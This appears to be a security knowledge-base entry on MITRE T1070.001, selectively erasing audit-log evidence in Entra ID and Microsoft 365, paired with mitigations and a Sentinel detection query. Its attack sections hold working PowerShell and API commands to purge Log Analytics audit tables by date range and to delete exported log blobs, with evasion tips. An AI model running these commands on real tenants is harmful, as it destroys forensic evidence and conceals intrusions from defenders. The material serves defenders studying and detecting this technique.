| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-038 |
| MITRE ATT&CK v18.1 | T1070.001 - Indicator Removal / Clear Logs |
| Tactic | Defense Evasion |
| Platforms | M365, Entra ID |
| Severity | CRITICAL |
| CVE | N/A |
| Technique Status | PARTIAL (Cloud immutable logs cannot be deleted; selective removal from exported logs is possible) |
| Last Verified | 2025-01-10 |
| Affected Versions | All versions of Entra ID / M365 (30-730 day retention enforced by Microsoft) |
| Patched In | N/A - Enforced by Microsoft architecture |
| Author | SERVTEP – Artur Pchelnikau |
Concept: This real-world technique involves selectively removing or obscuring evidence from Microsoft Entra ID and Microsoft 365 audit logs. While cloud-native audit logs (stored in Microsoft’s immutable infrastructure) cannot be directly deleted by customers, attackers can delete logs from third-party SIEM systems or log repositories where those logs were exported or streamed. Additionally, attackers can exploit the 30-730 day retention window by waiting for logs to age out of retention, effectively erasing evidence of their activities. This is a sophisticated cover-up technique used after compromise to remove forensic evidence.
Attack Surface: Entra ID Audit Logs API, Purview Unified Audit Log (UAE), Log Analytics Workspaces, third-party SIEM systems (Splunk, ELK), Azure Storage Accounts where logs were archived.
Business Impact: Loss of forensic evidence for incident response. Attackers can remove audit trails of their privilege escalation, lateral movement, and exfiltration activities, making it impossible for incident responders to understand the full scope of the compromise or identify how the attacker gained access. This directly impacts legal discovery in breach notifications and regulatory investigations (GDPR, SOC 2, etc.).
Technical Context: Cloud-native Entra ID audit logs are technically immutable, but the attack vectors involve: (1) Purging exported logs from Log Analytics, (2) Deleting logs from third-party SIEM systems, (3) Waiting for retention periods to expire, (4) Deleting the entire Log Analytics workspace. This attack typically takes 5-15 minutes to execute. Detection likelihood is HIGH if log deletion monitoring is enabled, but many organizations do not monitor for deletion of their own audit archives.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure 5.1.1 | Ensure that activity logging is enabled for all subscriptions and log retention is adequate. |
| DISA STIG | SI-12 | Information Management and Protection - Ensure immutable log storage. |
| CISA SCuBA | SA-4(2) | System administrators must maintain audit trails in a centralized, protected repository. |
| NIST 800-53 | AU-2, AU-6 | Audit and Accountability - Ensure audit logs are protected and monitored. |
| GDPR | Art. 32, Art. 33 | Inability to investigate a breach violates security and breach notification obligations. |
| DORA | Art. 9, Art. 10 | Entities must maintain audit trails for incident detection and response. |
| NIS2 | Art. 21 | Cyber risk management requires audit log protection and analysis. |
| ISO 27001 | A.12.4.1, A.12.4.2 | Event logging and log protection are mandatory controls. |
| ISO 27005 | Risk Scenario: “Loss of Forensic Evidence” | Deletion of audit logs prevents incident investigation. |
Microsoft.OperationalInsights/workspaces/delete or AuditLog.Read.All permissionsSupported Versions:
Tools:
# Connect to Azure
Connect-AzAccount
# Get list of Log Analytics workspaces (where audit logs are stored)
Get-AzOperationalInsightsWorkspace | Select-Object Name, ResourceGroupName, Location, ProvisioningState
# Check retention settings for a specific workspace
$workspace = Get-AzOperationalInsightsWorkspace -Name "YourWorkspaceName" -ResourceGroupName "YourResourceGroup"
$workspace.RetentionInDays
# Check if there are any data retention policies
Get-AzOperationalInsightsTable -WorkspaceName $workspace.Name -ResourceGroupName $workspace.ResourceGroupName | Select-Object Name, RetentionInDays
What to Look For:
RetentionInDays is 30 (default), logs will be purged automatically after 30 daysVersion Note: Retention settings are consistent across all versions but cannot be lowered by customers—Microsoft enforces minimum retention.
# List all Log Analytics workspaces
az monitor log-analytics workspace list --query "[].{Name:name, RetentionDays:retentionInDays}"
# Get detailed information about a specific workspace
az monitor log-analytics workspace show --resource-group YourResourceGroup --workspace-name YourWorkspaceName
# Check if there are any data export rules (logs exported to external system)
az monitor log-analytics workspace data-export list --resource-group YourResourceGroup --workspace-name YourWorkspaceName
What to Look For:
Supported Versions: All versions of Entra ID / M365
Objective: Access the Log Analytics workspace where Entra ID audit logs are stored.
Manual Steps (Azure Portal GUI):
DefaultWorkspace-{TenantID} or custom name)Expected Output:
What This Means:
Objective: Navigate to the log deletion interface.
Manual Steps (Azure Portal GUI):
Expected Output:
What This Means:
OpSec & Evasion:
AuditLogs table itself may be logged if there are access controls on the tableObjective: Remove specific tables containing forensic evidence.
Tables to Target (High-Value for Deletion):
Manual Steps (Delete Specific Tables):
Expected Output:
Purge operation started for table AuditLogs
Estimated completion time: 15 minutes
What This Means:
OpSec & Evasion:
Troubleshooting:
Microsoft.OperationalInsights/workspaces/purge/action permissionSupported Versions: All Entra ID versions
Objective: Establish authenticated PowerShell session with Log Analytics workspace.
Command:
# Connect to Azure
Connect-AzAccount
# Get the workspace object
$workspace = Get-AzOperationalInsightsWorkspace -Name "YourWorkspaceName" -ResourceGroupName "YourResourceGroup"
# Alternatively, set variables for use in API calls
$subscriptionId = "your-subscription-id"
$resourceGroupName = "YourResourceGroup"
$workspaceName = "YourWorkspaceName"
$workspaceId = $workspace.ResourceId
Expected Output:
Workspace Name: YourWorkspaceName
Location: eastus
Provisioning State: Succeeded
What This Means:
Objective: Determine which logs contain forensic evidence of the attack.
Command (KQL Query to Find Relevant Logs):
# Query AuditLogs to see what's available and find the attack date range
$query = @"
AuditLogs
| where TimeGenerated > ago(90d)
| where OperationName contains "Assign role" or OperationName contains "Update"
| summarize Count=count() by bin(TimeGenerated, 1d)
| project TimeGenerated, Count
"@
# Execute the query against Log Analytics
$queryResults = Invoke-AzOperationalInsightsQuery -WorkspaceId $workspace.CustomerId -Query $query
$queryResults.Results | ForEach-Object {
Write-Output "Date: $($_.TimeGenerated) - Count: $($_.Count) events"
}
Expected Output:
Date: 2025-01-10T00:00:00Z - Count: 523 events
Date: 2025-01-09T00:00:00Z - Count: 412 events
Date: 2025-01-08T00:00:00Z - Count: 298 events
...
What This Means:
Objective: Directly invoke the Log Analytics Purge API to delete records.
Command:
# Get an access token for Log Analytics API
$token = (Get-AzAccessToken -ResourceUrl "https://api.loganalytics.io").Token
# Prepare purge request (delete logs from a specific date range)
$purgePayload = @{
table = "AuditLogs"
filters = @(
@{
column = "TimeGenerated"
operator = "gt"
value = "2025-01-08T00:00:00Z"
},
@{
column = "TimeGenerated"
operator = "lt"
value = "2025-01-10T00:00:00Z"
}
)
} | ConvertTo-Json -Depth 10
# Purge the data
$purgeUri = "https://api.loganalytics.io/v1/workspaces/$($workspace.CustomerId)/purge"
$headers = @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
}
$response = Invoke-RestMethod -Uri $purgeUri -Method POST -Headers $headers -Body $purgePayload
Write-Output "Purge Operation ID: $($response.operationId)"
Write-Output "Status: $($response.status)"
Expected Output:
Purge Operation ID: 10000000-0000-0000-0000-000000000000
Status: Pending
What This Means:
Troubleshooting:
TimeGenerated not timestamp)OpSec & Evasion:
Supported Versions: All Entra ID versions
Objective: Exploit the 30-day (default) retention window to naturally erase logs over time without active deletion.
How It Works:
Example Timeline:
Day 0: Attacker compromises Global Admin account
Day 1-7: Attacker performs privilege escalation, lateral movement, exfiltration
Day 8-30: Attacker maintains low profile (minimal suspicious activity)
Day 31: Microsoft automatically purges logs from Day 1-7
Day 32+: Logs of the attack no longer exist
Objective: Remain undetected during the 30-day retention period so logs expire naturally.
Tactics:
Example Commands:
# On Day 27, quietly remove yourself from Global Admin role
Remove-AzRoleAssignment -ObjectId (Get-AzADUser -UserPrincipalName "attacker@company.com").Id `
-RoleDefinitionName "Global Administrator" `
-Scope "/subscriptions/$subscriptionId"
# Verify removal (so it appears as normal admin action)
Get-AzRoleAssignment -ObjectId (Get-AzADUser -UserPrincipalName "attacker@company.com").Id
What This Means:
OpSec & Evasion:
Supported Versions: All versions (depends on SIEM)
Objective: Delete logs that were exported or streamed to an external SIEM system where the organization may have longer retention.
Command (Check for Data Export from Log Analytics):
# List all data exports from the Log Analytics workspace
$exports = Get-AzOperationalInsightsDataExport -ResourceGroupName $resourceGroupName -WorkspaceName $workspaceName
foreach ($export in $exports) {
Write-Output "Export Name: $($export.Name)"
Write-Output "Destination: $($export.Destination)"
Write-Output "Table: $($export.TableNames)"
}
Expected Output:
Export Name: SentinelExport-1
Destination: /subscriptions/xxxx/resourceGroups/YourResourceGroup/providers/Microsoft.Storage/storageAccounts/yourStorage/blobServices/default/containers/logs
Table: AuditLogs, SigninLogs
What This Means:
Command (Delete Blobs from Azure Storage):
# Connect to the storage account
$storageAccount = Get-AzStorageAccount -ResourceGroupName "YourResourceGroup" -Name "yourStorage"
$context = $storageAccount.Context
# Get the container
$container = Get-AzStorageContainer -Name "logs" -Context $context
# List blobs in the container
$blobs = Get-AzStorageBlob -Container "logs" -Context $context
# Delete specific date ranges
foreach ($blob in $blobs) {
# Extract date from blob path (format: yyyy/mm/dd/...)
if ($blob.Name -match "2025/01/(08|09|10)/") { # Delete Jan 8-10
Remove-AzStorageBlob -Blob $blob.Name -Container "logs" -Context $context -Force
Write-Output "Deleted: $($blob.Name)"
}
}
Expected Output:
Deleted: 2025/01/08/audit_logs_001.json
Deleted: 2025/01/08/audit_logs_002.json
Deleted: 2025/01/09/audit_logs_001.json
...
What This Means:
OpSec & Evasion:
Applies To Versions: All versions
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Enable immutable storage on container
$storageAccount = Get-AzStorageAccount -ResourceGroupName $rg -Name $storageAccountName
$context = $storageAccount.Context
# Set immutability policy
Set-AzStorageContainerImmutabilityPolicy -Container "audit-logs-immutable" -Context $context `
-ExpiresIn (New-TimeSpan -Days 2555) -Etag ""
Why This Helps:
Manual Steps (Azure Portal):
read, query (do NOT allow delete or purge)Why This Helps:
Manual Steps (Azure Portal):
Why This Helps:
Manual Steps (Azure Portal):
Why This Helps:
Manual Steps (Create Detection Rule in Sentinel):
Alert on Log Analytics Data PurgeAuditLogs
| where OperationName contains "Purge" or OperationName contains "Delete" and TargetResources contains "OperationalInsights"
| where Result == "success"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources
Why This Helps:
Manual Steps (Entra ID):
Why This Helps:
Manual Steps:
Why This Helps:
Manual Steps:
Enforce Minimum Audit Log RetentionWhy This Helps:
# Verify immutable storage is enabled
Get-AzStorageContainerImmutabilityPolicy -Container "audit-logs-immutable" -Context $context
# Verify RBAC is restricted
Get-AzRoleAssignment -Scope "/subscriptions/$subscriptionId/resourceGroups/$rg/providers/Microsoft.OperationalInsights/workspaces/$workspace" | Where-Object {$_.RoleDefinitionName -in "Owner", "Contributor"}
# Verify data export is configured
Get-AzOperationalInsightsDataExport -ResourceGroupName $rg -WorkspaceName $workspace | Select-Object Name, Destination
Expected Output (If Secure):
Export Name: Immutable-Archive
Destination: /subscriptions/xxxx/resourceGroups/xxxx/providers/Microsoft.Storage/storageAccounts/immutableStorage/blobServices/default/containers/audit-logs-immutable
AuditLogs table contains operations: "Purge data", "Delete data", "Clear logs"AuditLogs, SigninLogs, UserRiskEvents"Delete workspace", "Delete container""Delete data", "Purge", "Delete workspace"DELETE_BLOB operations on audit log containersExport-AzOperationalInsightsQueryResults -Query "AuditLogs | where TimeGenerated > ago(90d)" -WorkspaceName $workspace -ExportPath "C:\Evidence\AuditLog_Backup.csv"
Update-MgUser -UserId "attacker@company.com" -AccountEnabled:$false
Revoke-MgUserSignInSession -UserId "attacker@company.com"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | T1566.002 Phishing | Attacker gains initial access via phishing email |
| 2 | Privilege Escalation | T1078.004 Abuse Valid Accounts | Attacker escalates to Global Admin via PIM or MFA bypass |
| 3 | Defense Evasion | [REALWORLD-037] Sentinel Rule Modification | Attacker disables detection rules to avoid alerts |
| 4 | Persistence & Exfiltration | T1020 Automated Exfiltration | Attacker exfiltrates data while rules are disabled |
| 5 | Defense Evasion | [REALWORLD-038] Audit Log Selective Deletion | Attacker deletes logs to cover tracks |
| 6 | Impact | T1531 Account Access Removal | Attacker removes their own access to avoid detection |
This technique results in failure of:
Organizations found with this vulnerability should document as “Critical” and implement immutable log retention immediately.